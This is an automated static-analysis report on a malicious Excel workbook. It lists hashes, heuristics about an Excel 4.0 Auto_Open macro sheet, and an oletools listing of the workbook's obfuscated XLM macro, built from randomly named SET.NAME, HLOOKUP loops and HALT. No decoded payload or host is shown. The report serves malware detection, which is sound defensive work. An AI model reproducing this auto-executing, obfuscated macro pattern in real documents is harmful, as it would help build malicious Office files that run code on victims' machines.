Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 21c02c9a7c9b86d2…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:18 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: ef76c1c6f00b8fa9510f5e74e40f5fec SHA-1: 0b253afdd0b57393520dd15fd2a49f98c66d31cb SHA-256: 21c02c9a7c9b86d2b358160fecceb761d30c0a84ad48adb054852815e308257e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6657 bytes
SHA-256: eb80646de5d7202cfc4400ddedbca18807c81d0d1fa267eb3ae646af9e6c1e71
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OnvAfQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D180 
' 0018     27 LABEL : Cell Value, String Constant - BVnqWAkVNRlH len=0 
' 0018     23 LABEL : Cell Value, String Constant - dgMdayCx len=0 
' 0018     22 LABEL : Cell Value, String Constant - EHssOKp len=0 
' 0018     23 LABEL : Cell Value, String Constant - ESbKXmkZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - EujBjSf len=0 
' 0018     24 LABEL : Cell Value, String Constant - GmTDIYTIx len=0 
' 0018     26 LABEL : Cell Value, String Constant - IAjWZkrtudv len=0 
' 0018     21 LABEL : Cell Value, String Constant - iMsYek len=0 
' 0018     25 LABEL : Cell Value, String Constant - iXWFSxFhyg len=0 
' 0018     22 LABEL : Cell Value, String Constant - IznuHKW len=0 
' 0018     27 LABEL : Cell Value, String Constant - Jstcvecaqlir len=0 
' 0018     23 LABEL : Cell Value, String Constant - jvMEfgjJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - JWQwiBBbno len=0 
' 0018     24 LABEL : Cell Value, String Constant - LLxMrBoYm len=0 
' 0018     23 LABEL : Cell Value, String Constant - mXUFIZid len=0 
' 0018     20 LABEL : Cell Value, String Constant - nPaxp len=0 
' 0018     20 LABEL : Cell Value, String Constant - OnQxz len=0 
' 0018     20 LABEL : Cell Value, String Constant - TCqKz len=0 
' 0018     24 LABEL : Cell Value, String Constant - UDukVKOkk len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZwiMf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OnvAfQ,S46,"",963.00000000000000000000
'  OnvAfQ,S47,"",-416.00000000000000000000
'  OnvAfQ,S48,"",587.00000000000000000000
'  OnvAfQ,S49,"",-686.00000000000000000000
'  OnvAfQ,S50,"",-974.00000000000000000000
'  OnvAfQ,S51,"",-195.00000000000000000000
'  OnvAfQ,D95,"SET.NAME("IznuHKW",0+VALUE("0"))",""
'  OnvAfQ,D98,"SET.NAME("BVnqWAkVNRlH",IznuHKW)",""
'  OnvAfQ,D103,"SET.NAME("IAjWZkrtudv",IznuHKW)",""
'  OnvAfQ,D105,"SET.NAME("mXUFIZid",COUNTA(LLxMrBoYm))",""
'  OnvAfQ,D108,"SET.NAME("OnQxz",COUNTA(EujBjSf))",""
'  OnvAfQ,D110,[],""
'  OnvAfQ,D113,"SET.NAME("ZwiMf","")",""
'  OnvAfQ,D116,"BVnqWAkVNRlH",""
'  OnvAfQ,D118,"SET.NAME("EHssOKp",HLOOKUP("*",LLxMrBoYm,BVnqWAkVNRlH,FALSE))",""
'  OnvAfQ,D123,"Jstcvecaqlir",""
'  OnvAfQ,D126,"SET.NAME("JWQwiBBbno",IznuHKW)",""
'  OnvAfQ,D130,[],""
'  OnvAfQ,D134,"JWQwiBBbno",""
'  OnvAfQ,D136,"UDukVKOkk",""
'  OnvAfQ,D139,"GmTDIYTIx",""
'  OnvAfQ,D142,"iMsYek",""
'  OnvAfQ,D144,"SET.NAME("jvMEfgjJ",VALUE(HLOOKUP("*",EujBjSf,iMsYek,FALSE)))",""
'  OnvAfQ,D149,"ESbKXmkZ",""
'  OnvAfQ,D152,"ZwiMf",""
'  OnvAfQ,D156,"IAjWZkrtudv",""
'  OnvAfQ,D158,NEXT(),""
'  OnvAfQ,D160,"nPaxp",""
'  OnvAfQ,D165,[],""
'  OnvAfQ,D169,"TCqKz",""
'  OnvAfQ,D171,NEXT(),""
'  OnvAfQ,D176,RETURN(),""
'  OnvAfQ,D207,"SET.NAME("iXWFSxFhyg",D95)",""
'  OnvAfQ,D211,"LLxMrBoYm",""
'  OnvAfQ,D216,"SET.NAME("EujBjSf",R62C11)",""
'  OnvAfQ,D221,"SET.NAME("TCqKz",227)",""
'  OnvAfQ,D223,"SET.NAME("dgMdayCx",4)",""
'  OnvAfQ,D226,iXWFSxFhyg(),""
'  OnvAfQ,D227,HALT(),""